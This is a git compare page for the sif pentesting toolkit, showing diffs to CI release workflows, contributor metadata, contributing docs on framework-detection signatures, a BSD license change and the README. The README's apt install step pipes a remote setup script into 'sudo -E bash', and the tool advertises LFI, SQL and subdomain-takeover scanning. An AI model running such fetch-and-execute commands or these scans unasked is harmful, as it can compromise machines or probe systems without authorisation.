mirror of
https://github.com/lunchcat/sif.git
synced 2026-06-17 12:21:51 -07:00
Compare commits
94 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 60b2dd2804 | |||
| 73af6bc868 | |||
| 88fb01d70a | |||
| 8c4d6d81a7 | |||
| b6ad6f7a3e | |||
| 26ea7c0ee6 | |||
| 976a2d4390 | |||
| c62409bf0a | |||
| 280e6ad8b0 | |||
| 2ee2283412 | |||
| 748f320e59 | |||
| ad9a98b132 | |||
| 6d6a57a0e0 | |||
| 53687e4bd4 | |||
| 4331929bd0 | |||
| 9290bbe6a0 | |||
| 0958a2c19c | |||
| 4e97da6863 | |||
| e5c88b754c | |||
| 2389901614 | |||
| 1f73a0dd8f | |||
| 4de9786e99 | |||
| e5510a4a16 | |||
| 8928ac7e99 | |||
| 137ba0c89a | |||
| 9ea0805090 | |||
| df6bfc91f0 | |||
| 255b67dff6 | |||
| 9c3a5fe1f0 | |||
| df274328ee | |||
| 487b440e52 | |||
| bf613c3aaf | |||
| 2922481be3 | |||
| e27476652f | |||
| 5ffea24182 | |||
| 67288577a6 | |||
| 7beb68e145 | |||
| d2f3a42c43 | |||
| c33896a45a | |||
| 652f4f0c7c | |||
| bf65820ff1 | |||
| 0d4c10e6ff | |||
| 0eba16bc4d | |||
| c067eafed0 | |||
| f20198dd26 | |||
| a86f117658 | |||
| a614b2ee8a | |||
| a8686c1e4a | |||
| c3f824e1e3 | |||
| 57acc6d37c | |||
| 2596ce1ea2 | |||
| abce1405ca | |||
| f212aed50a | |||
| 7e27e73554 | |||
| da645ee42f | |||
| 16c191fbaa | |||
| 697c7def57 | |||
| ff002f43f7 | |||
| 30482ecbce | |||
| ce07ac8b16 | |||
| 8b056231f7 | |||
| c517e2eb1f | |||
| 0dd533446a | |||
| 1c0ad454dc | |||
| 17aa3c00f0 | |||
| b6b0a5a782 | |||
| 24b3b43b57 | |||
| 1550202e7a | |||
| a8eb319efe | |||
| 43d5f7383b | |||
| 1447485af9 | |||
| 6e1d5cf488 | |||
| 1583e00478 | |||
| 40db023632 | |||
| 5868deef21 | |||
| b43e54bf60 | |||
| c75ebccb27 | |||
| 858555bc47 | |||
| 51ee65c5df | |||
| 035e9406d9 | |||
| ba5468725e | |||
| 49b081dc30 | |||
| 127eeff265 | |||
| 1b493e9572 | |||
| 74b044ce59 | |||
| 2a2bcf5b92 | |||
| 166e1b82c2 | |||
| be9c02e8ba | |||
| 018af224d6 | |||
| 97aeb4c8b0 | |||
| 2d38d3fea5 | |||
| 3df0064e4b | |||
| c20c37463a | |||
| 9190fa4741 |
+15
-9
@@ -10,7 +10,7 @@
|
||||
"contributors": [
|
||||
{
|
||||
"login": "vmfunc",
|
||||
"name": "mel",
|
||||
"name": "vmfunc",
|
||||
"avatar_url": "https://avatars.githubusercontent.com/u/59031302?v=4",
|
||||
"profile": "https://vmfunc.re",
|
||||
"contributions": [
|
||||
@@ -18,12 +18,7 @@
|
||||
"mentoring",
|
||||
"projectManagement",
|
||||
"security",
|
||||
"test",
|
||||
"business",
|
||||
"code",
|
||||
"design",
|
||||
"financial",
|
||||
"ideas"
|
||||
"code"
|
||||
]
|
||||
},
|
||||
{
|
||||
@@ -41,6 +36,7 @@
|
||||
"avatar_url": "https://avatars.githubusercontent.com/u/127897805?v=4",
|
||||
"profile": "https://github.com/macdoos",
|
||||
"contributions": [
|
||||
"code"
|
||||
]
|
||||
},
|
||||
{
|
||||
@@ -52,7 +48,7 @@
|
||||
"ideas"
|
||||
]
|
||||
},
|
||||
{
|
||||
{
|
||||
"login": "tessa-u-k",
|
||||
"name": "tessa ",
|
||||
"avatar_url": "https://avatars.githubusercontent.com/u/109355732?v=4",
|
||||
@@ -76,6 +72,16 @@
|
||||
"test",
|
||||
"code"
|
||||
]
|
||||
},
|
||||
{
|
||||
"login": "vxfemboy",
|
||||
"name": "Zoa Hickenlooper",
|
||||
"avatar_url": "https://avatars.githubusercontent.com/u/79362520?v=4",
|
||||
"profile": "https://github.com/vxfemboy",
|
||||
"contributions": [
|
||||
"code"
|
||||
]
|
||||
}
|
||||
]
|
||||
],
|
||||
"repoType": "github"
|
||||
}
|
||||
|
||||
@@ -12,6 +12,13 @@ jobs:
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: "1.23"
|
||||
go-version: "1.24"
|
||||
- name: Build
|
||||
run: make
|
||||
- name: Run tests with coverage
|
||||
run: go test -race -coverprofile=coverage.out -covermode=atomic ./...
|
||||
- name: Upload coverage to Codecov
|
||||
uses: codecov/codecov-action@v4
|
||||
with:
|
||||
files: ./coverage.out
|
||||
fail_ci_if_error: false
|
||||
|
||||
@@ -0,0 +1,52 @@
|
||||
name: header check
|
||||
|
||||
on:
|
||||
push:
|
||||
paths:
|
||||
- '**.go'
|
||||
pull_request:
|
||||
paths:
|
||||
- '**.go'
|
||||
|
||||
jobs:
|
||||
check-headers:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: check license headers
|
||||
run: |
|
||||
missing_headers=()
|
||||
|
||||
while IFS= read -r -d '' file; do
|
||||
# skip test files and generated files
|
||||
if [[ "$file" == *"_test.go" ]]; then
|
||||
continue
|
||||
fi
|
||||
|
||||
# check if file starts with the license header (signature is on line 4)
|
||||
if ! head -n 5 "$file" | grep -q "█▀ █ █▀▀"; then
|
||||
missing_headers+=("$file")
|
||||
fi
|
||||
done < <(find . -name "*.go" -type f -print0)
|
||||
|
||||
if [ ${#missing_headers[@]} -ne 0 ]; then
|
||||
echo "::error::the following files are missing the license header:"
|
||||
printf '%s\n' "${missing_headers[@]}"
|
||||
echo ""
|
||||
echo "expected header format:"
|
||||
echo '/*'
|
||||
echo '·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·'
|
||||
echo ': :'
|
||||
echo ': █▀ █ █▀▀ · Blazing-fast pentesting suite :'
|
||||
echo ': ▄█ █ █▀ · BSD 3-Clause License :'
|
||||
echo ': :'
|
||||
echo ': (c) 2022-2025 vmfunc (vmfunc), xyzeva, :'
|
||||
echo ': lunchcat alumni & contributors :'
|
||||
echo ': :'
|
||||
echo '·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·'
|
||||
echo '*/'
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "all go files have proper license headers"
|
||||
@@ -22,7 +22,7 @@ jobs:
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: "1.23"
|
||||
go-version: "1.24"
|
||||
|
||||
- name: Build for Windows
|
||||
run: |
|
||||
@@ -40,6 +40,60 @@ jobs:
|
||||
GOOS=linux GOARCH=386 go build -o sif-linux-386 ./cmd/sif
|
||||
GOOS=linux GOARCH=arm64 go build -o sif-linux-arm64 ./cmd/sif
|
||||
|
||||
- name: Package releases with modules
|
||||
run: |
|
||||
for binary in sif-linux-amd64 sif-linux-386 sif-linux-arm64 sif-macos-amd64 sif-macos-arm64; do
|
||||
mkdir -p "dist/${binary}"
|
||||
cp "${binary}" "dist/${binary}/sif"
|
||||
cp -r modules "dist/${binary}/"
|
||||
tar -czf "${binary}.tar.gz" -C dist "${binary}"
|
||||
done
|
||||
for binary in sif-windows-amd64 sif-windows-386; do
|
||||
mkdir -p "dist/${binary}"
|
||||
cp "${binary}.exe" "dist/${binary}/sif.exe"
|
||||
cp -r modules "dist/${binary}/"
|
||||
cd dist && zip -r "../${binary}.zip" "${binary}" && cd ..
|
||||
done
|
||||
|
||||
- name: Build Debian packages
|
||||
run: |
|
||||
VERSION="0.1.0-$(git rev-parse --short HEAD)"
|
||||
|
||||
declare -A arch_map=(
|
||||
["sif-linux-amd64"]="amd64"
|
||||
["sif-linux-386"]="i386"
|
||||
["sif-linux-arm64"]="arm64"
|
||||
)
|
||||
|
||||
for binary in sif-linux-amd64 sif-linux-386 sif-linux-arm64; do
|
||||
arch="${arch_map[$binary]}"
|
||||
pkg_dir="sif_${VERSION}_${arch}"
|
||||
|
||||
mkdir -p "${pkg_dir}/DEBIAN"
|
||||
mkdir -p "${pkg_dir}/usr/bin"
|
||||
mkdir -p "${pkg_dir}/usr/share/sif/modules"
|
||||
|
||||
cp "${binary}" "${pkg_dir}/usr/bin/sif"
|
||||
chmod 755 "${pkg_dir}/usr/bin/sif"
|
||||
cp -r modules/* "${pkg_dir}/usr/share/sif/modules/"
|
||||
|
||||
cat > "${pkg_dir}/DEBIAN/control" << EOF
|
||||
Package: sif
|
||||
Version: ${VERSION}
|
||||
Section: security
|
||||
Priority: optional
|
||||
Architecture: ${arch}
|
||||
Maintainer: vmfunc <celeste@router.sex>
|
||||
Homepage: https://github.com/vmfunc/sif
|
||||
Description: Modular pentesting toolkit
|
||||
sif is a fast, concurrent, and extensible pentesting toolkit written in Go.
|
||||
It supports multiple scan types including directory fuzzing, subdomain
|
||||
enumeration, port scanning, and vulnerability detection.
|
||||
EOF
|
||||
|
||||
dpkg-deb --build "${pkg_dir}"
|
||||
done
|
||||
|
||||
- name: Set release version
|
||||
run: echo "RELEASE_VERSION=$(git rev-parse --short HEAD)" >> $GITHUB_ENV
|
||||
|
||||
@@ -52,24 +106,50 @@ jobs:
|
||||
Automated release v${{ env.RELEASE_VERSION }}
|
||||
|
||||
## Assets
|
||||
- Windows (64-bit): `sif-windows-amd64.exe`
|
||||
- Windows (32-bit): `sif-windows-386.exe`
|
||||
- macOS (64-bit Intel): `sif-macos-amd64`
|
||||
- macOS (64-bit ARM): `sif-macos-arm64`
|
||||
- Linux (64-bit): `sif-linux-amd64`
|
||||
- Linux (32-bit): `sif-linux-386`
|
||||
- Linux (64-bit ARM): `sif-linux-arm64`
|
||||
|
||||
Each archive contains the sif binary and built-in modules.
|
||||
|
||||
- Windows (64-bit): `sif-windows-amd64.zip`
|
||||
- Windows (32-bit): `sif-windows-386.zip`
|
||||
- macOS (64-bit Intel): `sif-macos-amd64.tar.gz`
|
||||
- macOS (64-bit ARM): `sif-macos-arm64.tar.gz`
|
||||
- Linux (64-bit): `sif-linux-amd64.tar.gz`
|
||||
- Linux (32-bit): `sif-linux-386.tar.gz`
|
||||
- Linux (64-bit ARM): `sif-linux-arm64.tar.gz`
|
||||
- Debian/Ubuntu (64-bit): `sif_*_amd64.deb`
|
||||
- Debian/Ubuntu (32-bit): `sif_*_i386.deb`
|
||||
- Debian/Ubuntu (64-bit ARM): `sif_*_arm64.deb`
|
||||
|
||||
## Installation
|
||||
|
||||
```bash
|
||||
tar -xzf sif-linux-amd64.tar.gz
|
||||
cd sif-linux-amd64
|
||||
./sif -h
|
||||
```
|
||||
|
||||
For more details, check the [commit history](https://github.com/${{ github.repository }}/commits/main).
|
||||
draft: false
|
||||
prerelease: false
|
||||
files: |
|
||||
sif-windows-amd64.exe
|
||||
sif-windows-386.exe
|
||||
sif-macos-amd64
|
||||
sif-macos-arm64
|
||||
sif-linux-amd64
|
||||
sif-linux-386
|
||||
sif-linux-arm64
|
||||
sif-windows-amd64.zip
|
||||
sif-windows-386.zip
|
||||
sif-macos-amd64.tar.gz
|
||||
sif-macos-arm64.tar.gz
|
||||
sif-linux-amd64.tar.gz
|
||||
sif-linux-386.tar.gz
|
||||
sif-linux-arm64.tar.gz
|
||||
sif_*_amd64.deb
|
||||
sif_*_i386.deb
|
||||
sif_*_arm64.deb
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
|
||||
- name: Push to Cloudsmith
|
||||
env:
|
||||
CLOUDSMITH_API_KEY: ${{ secrets.CLOUDSMITH_API_KEY }}
|
||||
run: |
|
||||
pip install cloudsmith-cli
|
||||
for deb in sif_*.deb; do
|
||||
cloudsmith push deb sif/deb/any-distro/any-version "$deb" -k "$CLOUDSMITH_API_KEY"
|
||||
done
|
||||
|
||||
@@ -15,15 +15,28 @@ jobs:
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: "1.23"
|
||||
go-version: "1.24"
|
||||
- name: Build Sif
|
||||
run: make
|
||||
- name: Run Sif with features
|
||||
run: |
|
||||
./sif -u https://google.com -dnslist small -dirlist small -dork -git -whois -cms
|
||||
./sif -u https://example.com -dnslist small -dirlist small -dork -git -whois -cms -framework
|
||||
if [ $? -eq 0 ]; then
|
||||
echo "Sif ran successfully"
|
||||
else
|
||||
echo "Sif exited with an error"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
- name: Test module system
|
||||
run: |
|
||||
echo "Listing modules..."
|
||||
./sif -lm
|
||||
echo "Running all modules..."
|
||||
./sif -u https://example.com -am
|
||||
if [ $? -eq 0 ]; then
|
||||
echo "Module system working"
|
||||
else
|
||||
echo "Module system failed"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
@@ -7,12 +7,28 @@ linters:
|
||||
- gosimple # simplifications
|
||||
- ineffassign # useless assignments
|
||||
- misspell # spelling mistakes
|
||||
- gocritic # opinionated lints
|
||||
- revive # replacement for golint
|
||||
- unconvert # unnecessary type conversions
|
||||
- prealloc # slice preallocation hints
|
||||
- bodyclose # http response body not closed
|
||||
- noctx # http requests without context
|
||||
- exportloopref # loop variable capture
|
||||
|
||||
linters-settings:
|
||||
govet:
|
||||
enable-all: true
|
||||
errcheck:
|
||||
check-blank: false
|
||||
revive:
|
||||
rules:
|
||||
- name: exported
|
||||
arguments: [checkPrivateReceivers]
|
||||
gocritic:
|
||||
enabled-tags:
|
||||
- diagnostic
|
||||
- style
|
||||
- performance
|
||||
|
||||
run:
|
||||
timeout: 5m
|
||||
|
||||
+124
-4
@@ -4,17 +4,19 @@ Thank you for taking the time to contribute to sif! All contributions are valued
|
||||
If you want to contribute but don't know where to start, worry not; there is no shortage of things to do.
|
||||
Even if you don't know any Go, don't let that stop you from trying to contribute! We're here to help.
|
||||
|
||||
*By contributing to this repository, you agree to adhere to the sif [Code of Conduct](https://github.com/dropalldatabases/sif/blob/main/CODE_OF_CONDUCT.md). Not doing so may result in a ban.*
|
||||
_By contributing to this repository, you agree to adhere to the sif [Code of Conduct](https://github.com/vmfunc/sif/blob/main/CODE_OF_CONDUCT.md). Not doing so may result in a ban._
|
||||
|
||||
## How can I help?
|
||||
|
||||
Here are some ways to get started:
|
||||
- Have a look at our [issue tracker](https://github.com/dropalldatabases/sif/issues).
|
||||
|
||||
- Have a look at our [issue tracker](https://github.com/vmfunc/sif/issues).
|
||||
- If you've encountered a bug, discuss it with us, [report it](#reporting-issues).
|
||||
- Once you've found a bug you believe you can fix, open a [pull request](#contributing-code) for it.
|
||||
- Alternatively, consider [packaging sif for your distribution](#packaging).
|
||||
|
||||
If you like the project, but don't have time to contribute, that's okay too! Here are other ways to show your appreciation for the project:
|
||||
|
||||
- Use sif (seriously, that's enough)
|
||||
- Star the repository
|
||||
- Share sif with your friends
|
||||
@@ -22,7 +24,7 @@ If you like the project, but don't have time to contribute, that's okay too! Her
|
||||
|
||||
## Reporting issues
|
||||
|
||||
If you believe you've found a bug, or you have a new feature to request, please hop on the [Discord server](https://discord.gg/dropalldatabases) first to discuss it.
|
||||
If you believe you've found a bug, or you have a new feature to request, please hop on the [Discord server](https://discord.com/invite/sifcli) first to discuss it.
|
||||
This way, if it's an easy fix, we could help you solve it more quickly, and if it's a feature request we could workshop it together into something more mature.
|
||||
|
||||
When opening an issue, please use the search tool and make sure that the issue has not been discussed before. In the case of a bug report, run sif with the `-d/-debug` flag for full debug logs.
|
||||
@@ -33,7 +35,7 @@ When opening an issue, please use the search tool and make sure that the issue h
|
||||
|
||||
To develop sif, you'll need version 1.23 or later of the Go toolchain. After making your changes, run the program using `go run ./cmd/sif` to make sure it compiles and runs properly.
|
||||
|
||||
*Nix users:* the repository provides a flake that can be used to develop and run sif. Use `nix run`, `nix develop`, `nix build`, etc. Make sure to run `gomod2nix` if `go.mod` is changed.
|
||||
_Nix users:_ the repository provides a flake that can be used to develop and run sif. Use `nix run`, `nix develop`, `nix build`, etc. Make sure to run `gomod2nix` if `go.mod` is changed.
|
||||
|
||||
### Submitting a pull request
|
||||
|
||||
@@ -53,6 +55,124 @@ When making a pull request, please adhere to the following conventions:
|
||||
|
||||
If you have any questions, feel free to ask around on the IRC channel.
|
||||
|
||||
## Contributing Framework Detection Patterns
|
||||
|
||||
The framework detection module (`internal/scan/frameworks/`) identifies web frameworks by analyzing HTTP headers and response bodies. Detectors are organized by category in the `detectors/` subdirectory:
|
||||
|
||||
### Adding a New Framework Detector
|
||||
|
||||
1. Create a detector struct in the appropriate file in `detectors/`:
|
||||
|
||||
```go
|
||||
// myframeworkDetector detects MyFramework.
|
||||
type myframeworkDetector struct{}
|
||||
|
||||
func (d *myframeworkDetector) Name() string { return "MyFramework" }
|
||||
|
||||
func (d *myframeworkDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "unique-identifier", Weight: 0.5},
|
||||
{Pattern: "header-signature", Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: "body-signature", Weight: 0.3},
|
||||
}
|
||||
}
|
||||
|
||||
...
|
||||
|
||||
```
|
||||
|
||||
2. Register the detector in the `init()` function of the same file:
|
||||
|
||||
```go
|
||||
func init() {
|
||||
fw.Register(&myframeworkDetector{})
|
||||
}
|
||||
```
|
||||
|
||||
**Pattern Guidelines:**
|
||||
|
||||
- `Weight`: How much this signature contributes to detection (0.0-1.0)
|
||||
- `HeaderOnly`: Set to `true` for HTTP header patterns
|
||||
- Use unique identifiers that won't false-positive on other frameworks
|
||||
- Include multiple patterns for higher confidence
|
||||
|
||||
### Adding Version Detection
|
||||
|
||||
Add version patterns to `version.go` in the `rawPatterns` map inside `init()`:
|
||||
|
||||
```go
|
||||
"MyFramework": {
|
||||
{`<meta name="generator" content="MyFramework v?(\d+\.\d+(?:\.\d+)?)"`, 0.95, "generator meta"},
|
||||
{`MyFramework[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`"myframework":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
|
||||
},
|
||||
```
|
||||
|
||||
### Adding CVE Data
|
||||
|
||||
Add known vulnerabilities to `cve.go` in the `knownCVEs` map:
|
||||
|
||||
```go
|
||||
"MyFramework": {
|
||||
{
|
||||
CVE: "CVE-YYYY-XXXXX",
|
||||
AffectedVersions: []string{"1.0.0", "1.0.1", "1.1.0"},
|
||||
FixedVersion: "1.2.0",
|
||||
Severity: "high", // critical, high, medium, low
|
||||
Description: "Brief description of the vulnerability",
|
||||
Recommendations: []string{"Update to 1.2.0 or later"},
|
||||
},
|
||||
},
|
||||
```
|
||||
|
||||
### Testing Your Changes
|
||||
|
||||
Always add tests for new frameworks in `detect_test.go`:
|
||||
|
||||
```go
|
||||
func TestDetectFramework_MyFramework(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`<html><body>unique-identifier</body></html>`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := frameworks.DetectFramework(server.URL, 5*time.Second, "")
|
||||
// assertions...
|
||||
}
|
||||
```
|
||||
|
||||
Also add your framework to the registry test in `TestDetectorRegistry`:
|
||||
|
||||
```go
|
||||
expectedDetectors := []string{"Laravel", "Django", ..., "MyFramework"}
|
||||
```
|
||||
|
||||
### Future Enhancements (Help Wanted)
|
||||
|
||||
- **Custom Signature Support**: Allow users to define signatures via config file
|
||||
- **CVE API Integration**: Real-time CVE data from NVD or other sources
|
||||
- **Automated Signature Updates**: Fetch new signatures from a central repository
|
||||
- **Framework Fingerprint Database**: Community-maintained signature database
|
||||
|
||||
## Configuration
|
||||
|
||||
### Framework Detection Flags
|
||||
|
||||
| Flag | Description |
|
||||
| ------------ | ------------------------------------------ |
|
||||
| `-framework` | Enable framework detection |
|
||||
| `-timeout` | HTTP request timeout (affects all modules) |
|
||||
| `-threads` | Number of concurrent workers |
|
||||
| `-log` | Directory to save scan results |
|
||||
| `-debug` | Enable debug logging for verbose output |
|
||||
|
||||
### Environment Variables
|
||||
|
||||
| Variable | Description |
|
||||
| ---------------- | ------------------------------------ |
|
||||
| `SHODAN_API_KEY` | API key for Shodan host intelligence |
|
||||
|
||||
## Packaging
|
||||
|
||||
We'd love it if you helped us bring sif to your distribution.
|
||||
|
||||
@@ -1,11 +1,29 @@
|
||||
Copyright 2023 - 2024 lunchcat, inc. ALL RIGHTS RESERVED.
|
||||
BSD 3-Clause License
|
||||
|
||||
Use of this tool is restricted to research and educational purposes only. Usage in a production environment outside of these categories is strictly prohibited. Any person or entity wishing to use this tool outside of research or school purposes must purchase a license from https://lunchcat.dev.
|
||||
Copyright (c) 2022-2025 vmfunc (vmfunc), xyzeva, lunchcat alumni,
|
||||
and other sif contributors.
|
||||
|
||||
For Businesses:
|
||||
1. Licensing Requirement: Businesses intending to use this tool for any commercial, operational, or production purposes must obtain a commercial license from [lunchcat.dev](https://lunchcat.dev).
|
||||
2. Compliance: Businesses must ensure compliance with all applicable laws and regulations when using this tool.
|
||||
3. Liability: lunchcat assumes no liability for any damages or losses incurred by businesses using this tool without an appropriate license.
|
||||
4. Support: Licensed business users are eligible for dedicated support and updates as per the terms of their license agreement.
|
||||
5. Audits: lunchcat reserves the right to audit business usage of this tool to ensure compliance with the licensing terms.
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are met:
|
||||
|
||||
1. Redistributions of source code must retain the above copyright notice, this
|
||||
list of conditions and the following disclaimer.
|
||||
|
||||
2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
3. Neither the name of the copyright holder nor the names of its
|
||||
contributors may be used to endorse or promote products derived from
|
||||
this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
-15
@@ -1,15 +0,0 @@
|
||||
|
||||
|
||||
**Copyright 2023 - 2024 lunchcat. ALL RIGHTS RESERVED.**
|
||||
|
||||
Use of this tool is restricted to research and educational purposes only. Usage in a production environment outside of these categories is strictly prohibited. Any person or entity wishing to use this tool outside of research or school purposes must purchase a license from [lunchcat.dev](https://lunchcat.dev).
|
||||
|
||||
**For Businesses:**
|
||||
1. **Licensing Requirement:** Businesses intending to use this tool for any commercial, operational, or production purposes must obtain a commercial license from [lunchcat.dev](https://lunchcat.dev).
|
||||
2. **Compliance:** Businesses must ensure compliance with all applicable laws and regulations when using this tool.
|
||||
3. **Liability:** lunchcat assumes no liability for any damages or losses incurred by businesses using this tool without an appropriate license.
|
||||
4. **Support:** Licensed business users are eligible for dedicated support and updates as per the terms of their license agreement.
|
||||
5. **Audits:** lunchcat reserves the right to audit business usage of this tool to ensure compliance with the licensing terms.
|
||||
|
||||
---
|
||||
|
||||
@@ -1,124 +1,216 @@
|
||||
<div align="center">
|
||||
|
||||

|
||||
[](https://goreportcard.com/report/github.com/dropalldatabases/sif)
|
||||
[](https://github.com/dropalldatabases/sif/tags)
|
||||
<img src="assets/banner.png" alt="sif" width="600">
|
||||
|
||||
<br><br>
|
||||
|
||||
[](https://go.dev/)
|
||||
[](https://github.com/vmfunc/sif/actions)
|
||||
[](LICENSE)
|
||||
[](https://aur.archlinux.org/packages/sif)
|
||||
[](https://github.com/vmfunc/homebrew-sif)
|
||||
[](https://cloudsmith.io/~sif/repos/deb/packages/)
|
||||
[](https://discord.gg/sifcli)
|
||||
|
||||
**[install](#install) · [usage](#usage) · [modules](#modules) · [docs](docs/) · [contribute](#contribute)**
|
||||
|
||||
</div>
|
||||
|
||||
## 📖 Table of Contents
|
||||
---
|
||||
|
||||
- [Modules](#-modules)
|
||||
- [Installation](#-installation)
|
||||
- [Quick Start](#-quick-start)
|
||||
- [Usage](#-usage)
|
||||
- [Performance](#-performance)
|
||||
- [Contributing](#-contributing)
|
||||
- [Contributors](#-contributors)
|
||||
- [Acknowledgements](#-acknowledgements)
|
||||
## what is sif?
|
||||
|
||||
## 🧩 Modules
|
||||
sif is a modular pentesting toolkit written in go. it's designed to be fast, concurrent, and extensible. run multiple scan types against targets with a single command.
|
||||
|
||||
sif is built with a modular architecture, allowing for easy extension and customization. Some of our key modules include:
|
||||
|
||||
- 📂 Directory/file fuzzing/scanning
|
||||
- 📡 DNS subdomain enumeration
|
||||
- 🐾 Common Web scanning
|
||||
- 🖥️ Port/service scanning
|
||||
- 🦠 Vulnerability scanning
|
||||
- Support for pre-existing nuclei templates
|
||||
- Metasploit emulation for execution
|
||||
- 🔎 Automated Google dorking
|
||||
- 💘 Shodan integration
|
||||
- 📦 CMS detection
|
||||
- 🔍 HTTP Header Analysis
|
||||
- ☁️ C3 Misconfiguration Scanner
|
||||
- 🔍 Subdomain Takeover Checks
|
||||
|
||||
## 📦 Installation
|
||||
|
||||
### Using pre-built binaries
|
||||
|
||||
Visit our [Releases](https://github.com/dropalldatabases/sif/releases) page to download the latest pre-built binary for your operating system.
|
||||
|
||||
### Building from source
|
||||
|
||||
1. Ensure you have Go 1.23+ installed on your system.
|
||||
2. Clone the repository:
|
||||
```
|
||||
git clone https://github.com/lunchcat/sif.git
|
||||
cd sif
|
||||
```
|
||||
3. Build using the Makefile:
|
||||
```
|
||||
make
|
||||
```
|
||||
4. The binary will be available in the root directory.
|
||||
|
||||
## 🚀 Quick Start
|
||||
|
||||
1. Run a basic scan:
|
||||
```
|
||||
./sif -u example.com
|
||||
```
|
||||
2. For more options and advanced usage, refer to the help command:
|
||||
```
|
||||
./sif -h
|
||||
```
|
||||
|
||||
## 🛠 Usage
|
||||
|
||||
sif offers a wide range of commands and options to customize your pentesting workflow. Here are some common usage examples:
|
||||
|
||||
- Directory fuzzing
|
||||
|
||||
```
|
||||
./sif -u http://example.com -dirlist medium
|
||||
```bash
|
||||
./sif -u https://example.com -all
|
||||
```
|
||||
|
||||
- Subdomain enumeration
|
||||
## install
|
||||
|
||||
```
|
||||
./sif -u http://example.com -dnslist medium
|
||||
### homebrew (macos)
|
||||
|
||||
```bash
|
||||
brew tap vmfunc/sif
|
||||
brew install sif
|
||||
```
|
||||
|
||||
- Supabase/Firebase and C3 Vulnerability scanning
|
||||
### arch linux (aur)
|
||||
|
||||
```
|
||||
./sif -u https://example.com -js -c3
|
||||
install using your preferred aur helper:
|
||||
|
||||
```bash
|
||||
yay -S sif
|
||||
# or
|
||||
paru -S sif
|
||||
```
|
||||
|
||||
- Port scanning
|
||||
### debian/ubuntu (apt)
|
||||
|
||||
```bash
|
||||
curl -1sLf 'https://dl.cloudsmith.io/public/sif/deb/setup.deb.sh' | sudo -E bash
|
||||
sudo apt-get install sif
|
||||
```
|
||||
|
||||
### from releases
|
||||
|
||||
grab the latest binary from [releases](https://github.com/vmfunc/sif/releases).
|
||||
|
||||
### from source
|
||||
|
||||
```bash
|
||||
git clone https://github.com/vmfunc/sif.git
|
||||
cd sif
|
||||
make
|
||||
```
|
||||
|
||||
requires go 1.23+
|
||||
|
||||
### aur (manual install)
|
||||
|
||||
```bash
|
||||
git clone https://aur.archlinux.org/sif.git
|
||||
cd sif
|
||||
makepkg -si
|
||||
```
|
||||
|
||||
## usage
|
||||
|
||||
```bash
|
||||
# basic scan
|
||||
./sif -u https://example.com
|
||||
|
||||
# directory fuzzing
|
||||
./sif -u https://example.com -dirlist medium
|
||||
|
||||
# subdomain enumeration
|
||||
./sif -u https://example.com -dnslist medium
|
||||
|
||||
# port scanning
|
||||
./sif -u https://example.com -ports common
|
||||
|
||||
# javascript framework detection + cloud misconfig
|
||||
./sif -u https://example.com -js -c3
|
||||
|
||||
# shodan host intelligence (requires SHODAN_API_KEY env var)
|
||||
./sif -u https://example.com -shodan
|
||||
|
||||
# sql recon + lfi scanning
|
||||
./sif -u https://example.com -sql -lfi
|
||||
|
||||
# framework detection (with cve lookup)
|
||||
./sif -u https://example.com -framework
|
||||
|
||||
# everything
|
||||
./sif -u https://example.com -all
|
||||
```
|
||||
|
||||
For a complete list of commands and options, run `./sif -h`.
|
||||
run `./sif -h` for all options.
|
||||
|
||||
## ⚡ Performance
|
||||
## modules
|
||||
|
||||
sif is designed for high performance and efficiency:
|
||||
sif has a modular architecture. modules are defined in yaml and can be extended by users.
|
||||
|
||||
- Written in Go for excellent concurrency and speed
|
||||
- Optimized algorithms for minimal resource usage
|
||||
